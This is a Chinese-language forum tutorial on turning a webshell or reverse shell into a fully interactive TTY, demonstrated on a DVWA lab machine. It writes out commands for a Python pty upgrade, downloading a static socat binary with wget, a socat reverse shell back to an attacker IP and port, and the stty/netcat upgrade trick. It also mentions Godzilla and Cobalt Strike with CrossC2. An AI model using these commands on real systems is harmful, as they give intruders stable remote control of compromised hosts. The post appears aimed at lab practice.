-
-
获取完美shell
-
发表于:
2022-6-1 21:04
2816
-
获取完美shell
我们正常在使用webshell或反弹的shell的时候,多多少少会遇到如下问题:
- 一些命令受限
- 非交互式
- ctrl+c会直接断开连接
- 无命令补全
- 会出现乱码情况
这些问题导致我们执行命令的时候很不方便,而且会导致一些如提权类的操作失败,所以我们需要一个完美的终端(TTY)
下面我将边演示边来介绍几种提升shell的方法,我这里面用的Linux虚拟机搭的DVWA靶场上传文件(吐槽一下,在windows上用小皮面板搭建一点问题没有,在Linux上可能因为权限的问题,文件上传那块正常的图片就死活传不上去,后来自己一顿调,本来都想放弃了,结果瞎调调好了)
1.1 反弹shell
首先我这里用哥斯拉打开命令界面
这时候可以通过方向上键回历史记录,但是一些需要交互的命令,如su或者vim都会执行失败,那么我们首先想到的肯定是反弹shell(反弹shell的命令大全,我公众号之前发过篇文章)
如下图,通过bash tcp的方式弹了一个很正经的shell
但是这时候,上键历史命令用不了了,不过一些交互有了点效果,如su和vim,但是我进到vim按ctrl+c会直接断开连接
但有的时候,我们可能因为权限等问题不能用su,而su对我们来讲又是非常重要的,所以接下来我们可以对其进行一个升级
1.2 python pty 方式
这种方式有个前提是对方机器上必须有python,我这里通过rpm查询对方主机是否存在python
既然存在那就在最基础的反弹shell后,执行下边的命令
1 2 3 | python - c 'import pty; pty.spawn("/bin/bash")'
|
然后通常情况下如果原本不能执行su的话,现在就可以执行了,不过这种方式几乎还是没啥提升,所以我们继续
1.3 socat
socat像netcat一样,我们可以用socat建立完整的TTY,但弊端就是需要在对方的主机上建立socat,说人话就是你得在对方机器安装或下载点东西,当然攻击机也需要安装
1 2 3 4 | sudo apt install socat
socat file :`tty`,raw,echo = 0 tcp - listen: 4444
|
1 2 3 4 5 6 7 8 9 | wget https: / / github.com / andrew - d / static - binaries / raw / master / binaries / linux / x86_64 / socat - O / tmp / socat
chmod 755 / tmp / socat
/ tmp / socat exec : 'bash -li' ,pty,stderr,setsid,sigint,sane tcp: 192.168 . 1.113 : 4444
|
可以看到连vim都可执行了,而且按ctrl+c不会直接断开了,但实际上还是不算非常完美,偶尔也会出现卡死的情况
要注意这里断开连接,就不能采用ctrl+c了,而是需要exit
1.4 花式操作--升级netcat
结果如下
1 2 3 4 5 6 7 8 | python - c 'import pty; pty.spawn("/bin/bash")'
ctrl + z
jobs - l
|
成功挂到后台
然后重置stty
重置后长这样
然后输入fg,将后台的任务还原,然后reset刷新终端屏幕,如图我这里出了点问题,当我输入回车的时候变成了^M
又是一些奇怪的编码问题
执行出错
于是我弹shell到阿里云上,然后重复上面的步骤,当我执行到重置stty的时候,它会像卡了一样,但其实不是它卡了,而是我们重置的原因我们看不到输入的内容,但是实际上还是在输入(这就像你输入密码的时候一样),输入fg回车
紧接着执行刷新一下屏幕,看着更和谐
它会询问你终端类型,根据第一步的信息来输入
回车之后
然后其实到这里几乎就可以了,但是还存在一个问题,就是显示问题了
接下来设置环境变量
1 2 3 4 | export SHELL = bash
export TERM = xterm
stty rows 行数 columns 列数
|
ok,一个完美的shell就来了
1.5 上线到CS
正常CS是不能上线Linux主机的,但是通过CrossC2插件可以(这货坑太多了,浪费我好久时间),这里具体操作我就不多说了,看我另一篇文章
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)